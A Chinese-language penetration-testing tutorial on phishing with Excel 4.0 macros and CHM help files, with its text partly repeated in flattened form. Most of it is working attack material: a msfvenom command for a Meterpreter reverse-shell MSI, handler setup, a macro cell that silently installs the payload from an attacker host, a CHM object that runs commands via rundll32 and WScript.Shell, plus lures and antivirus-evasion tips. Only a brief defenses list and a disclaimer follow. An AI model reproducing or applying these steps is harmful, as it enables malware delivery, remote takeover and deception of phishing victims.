渗透测试之地基钓鱼篇:Excel宏和CHM电子书免杀钓鱼
字数 1325 2025-08-15 21:33:04

Excel宏与CHM电子书钓鱼攻击技术详解

一、技术概述

本教学文档详细介绍了两种常见的钓鱼攻击技术:基于Excel宏的钓鱼攻击和基于CHM电子书的钓鱼攻击。这两种技术都利用了Windows系统中常见文件格式的特性,通过嵌入恶意代码实现远程控制目标系统。

二、Excel宏钓鱼攻击

1. 技术原理

Excel宏是一种自动化脚本功能,攻击者可以利用它执行恶意代码。当用户打开包含恶意宏的Excel文件并启用宏时,攻击者预先植入的恶意代码就会被执行。

2. 攻击步骤

2.1 生成恶意载荷

使用Metasploit框架生成MSI格式的恶意文件:

msfvenom -p windows/meterpreter/reverse_tcp lhost=<攻击者IP> lport=<端口> -f msi -o payload.msi

2.2 设置监听

在攻击机器上设置Metasploit监听:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost <攻击者IP>
set lport <端口>
exploit -j

2.3 创建恶意Excel文件

  1. 使用Excel 2016创建.xlsx文件
  2. 右键点击工作表标签,选择"插入"→"MS Excel 4.0宏表"
  3. 在宏表中输入以下内容:
    A1: =EXEC("msiexec /q /i http://<攻击者IP>/payload.msi")
    A2: =HALT()
    
  4. 将A1单元格重命名为"Auto Open"
  5. 保存为.xlsm格式(启用宏的工作簿)

2.4 社会工程学技巧

  • 将文件名改为诱人的名称(如"工资表.xlsm")
  • 利用用户对Excel文件的信任
  • 提示用户需要"启用内容"才能查看完整功能

3. 免杀技术

  • 使用Excel 4.0宏(比VBA宏更隐蔽)
  • 远程加载恶意载荷(分离式攻击)
  • 宏表隐藏技术

三、CHM电子书钓鱼攻击

1. 技术原理

CHM(Compiled HTML Help)文件支持执行JavaScript、VBScript等脚本,攻击者可以利用这一特性嵌入恶意代码。

2. 攻击步骤

2.1 设置攻击环境

使用MyJSRat工具生成恶意代码:

git clone https://github.com/Ridter/MyJSRat
python MyJSRat.py -i <攻击者IP> -p <端口>

2.2 创建恶意HTML文件

创建包含以下代码的HTML文件:

<!DOCTYPE html>
<html>
<head>
<title>说明</title>
</head>
<body>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
  <PARAM name="Command" value="ShortCut">
  <PARAM name="Button" value="Bitmap::shortcut">
  <PARAM name="Item1" value=',rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c start http://<攻击者IP>:8888/wtf");'>
  <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body>
</html>

2.3 编译CHM文件

使用EasyCHM工具:

  1. 新建项目,选择包含恶意HTML的文件夹
  2. 设置编译选项
  3. 生成CHM文件

2.4 社会工程学技巧

  • 将CHM文件命名为"说明.chm"等看似无害的名称
  • 将CHM文件与破解软件或其他诱人内容打包在一起
  • 利用用户对帮助文档的信任

3. 免杀技术

  • 使用HTML对象注入技术
  • 远程加载恶意代码
  • 利用CHM文件格式的合法性

四、防御措施

1. 针对Excel宏攻击

  • 禁用Office宏功能(默认设置)
  • 教育用户不要启用不明来源文件的宏
  • 使用高级威胁防护解决方案
  • 限制msiexec.exe的执行权限

2. 针对CHM攻击

  • 限制CHM文件的执行权限
  • 使用应用程序白名单
  • 保持系统和安全软件更新
  • 教育用户不要打开不明来源的CHM文件

五、技术总结

  1. Excel宏钓鱼

    • 利用Excel 4.0宏的自动执行特性
    • 通过远程加载恶意载荷绕过检测
    • 需要用户启用宏内容
  2. CHM电子书钓鱼

    • 利用CHM文件支持脚本执行的特性
    • 通过HTML对象注入技术执行恶意代码
    • 具有较高的隐蔽性
  3. 共同特点

    • 都依赖社会工程学诱骗用户
    • 都采用分离式攻击(远程加载载荷)
    • 都针对Windows系统用户
    • 都可以通过混淆技术增强免杀能力

六、法律与道德声明

本文所述技术仅用于教育目的和安全研究。未经授权对他人系统进行渗透测试是违法行为。网络安全从业人员应遵守法律法规,将此类技术仅用于合法的安全评估和防御研究。

Excel宏与CHM电子书钓鱼攻击技术详解 一、技术概述 本教学文档详细介绍了两种常见的钓鱼攻击技术:基于Excel宏的钓鱼攻击和基于CHM电子书的钓鱼攻击。这两种技术都利用了Windows系统中常见文件格式的特性,通过嵌入恶意代码实现远程控制目标系统。 二、Excel宏钓鱼攻击 1. 技术原理 Excel宏是一种自动化脚本功能,攻击者可以利用它执行恶意代码。当用户打开包含恶意宏的Excel文件并启用宏时,攻击者预先植入的恶意代码就会被执行。 2. 攻击步骤 2.1 生成恶意载荷 使用Metasploit框架生成MSI格式的恶意文件: 2.2 设置监听 在攻击机器上设置Metasploit监听: 2.3 创建恶意Excel文件 使用Excel 2016创建.xlsx文件 右键点击工作表标签,选择"插入"→"MS Excel 4.0宏表" 在宏表中输入以下内容: 将A1单元格重命名为"Auto Open" 保存为.xlsm格式(启用宏的工作簿) 2.4 社会工程学技巧 将文件名改为诱人的名称(如"工资表.xlsm") 利用用户对Excel文件的信任 提示用户需要"启用内容"才能查看完整功能 3. 免杀技术 使用Excel 4.0宏(比VBA宏更隐蔽) 远程加载恶意载荷(分离式攻击) 宏表隐藏技术 三、CHM电子书钓鱼攻击 1. 技术原理 CHM(Compiled HTML Help)文件支持执行JavaScript、VBScript等脚本,攻击者可以利用这一特性嵌入恶意代码。 2. 攻击步骤 2.1 设置攻击环境 使用MyJSRat工具生成恶意代码: 2.2 创建恶意HTML文件 创建包含以下代码的HTML文件: 2.3 编译CHM文件 使用EasyCHM工具: 新建项目,选择包含恶意HTML的文件夹 设置编译选项 生成CHM文件 2.4 社会工程学技巧 将CHM文件命名为"说明.chm"等看似无害的名称 将CHM文件与破解软件或其他诱人内容打包在一起 利用用户对帮助文档的信任 3. 免杀技术 使用HTML对象注入技术 远程加载恶意代码 利用CHM文件格式的合法性 四、防御措施 1. 针对Excel宏攻击 禁用Office宏功能(默认设置) 教育用户不要启用不明来源文件的宏 使用高级威胁防护解决方案 限制msiexec.exe的执行权限 2. 针对CHM攻击 限制CHM文件的执行权限 使用应用程序白名单 保持系统和安全软件更新 教育用户不要打开不明来源的CHM文件 五、技术总结 Excel宏钓鱼 : 利用Excel 4.0宏的自动执行特性 通过远程加载恶意载荷绕过检测 需要用户启用宏内容 CHM电子书钓鱼 : 利用CHM文件支持脚本执行的特性 通过HTML对象注入技术执行恶意代码 具有较高的隐蔽性 共同特点 : 都依赖社会工程学诱骗用户 都采用分离式攻击(远程加载载荷) 都针对Windows系统用户 都可以通过混淆技术增强免杀能力 六、法律与道德声明 本文所述技术仅用于教育目的和安全研究。未经授权对他人系统进行渗透测试是违法行为。网络安全从业人员应遵守法律法规,将此类技术仅用于合法的安全评估和防御研究。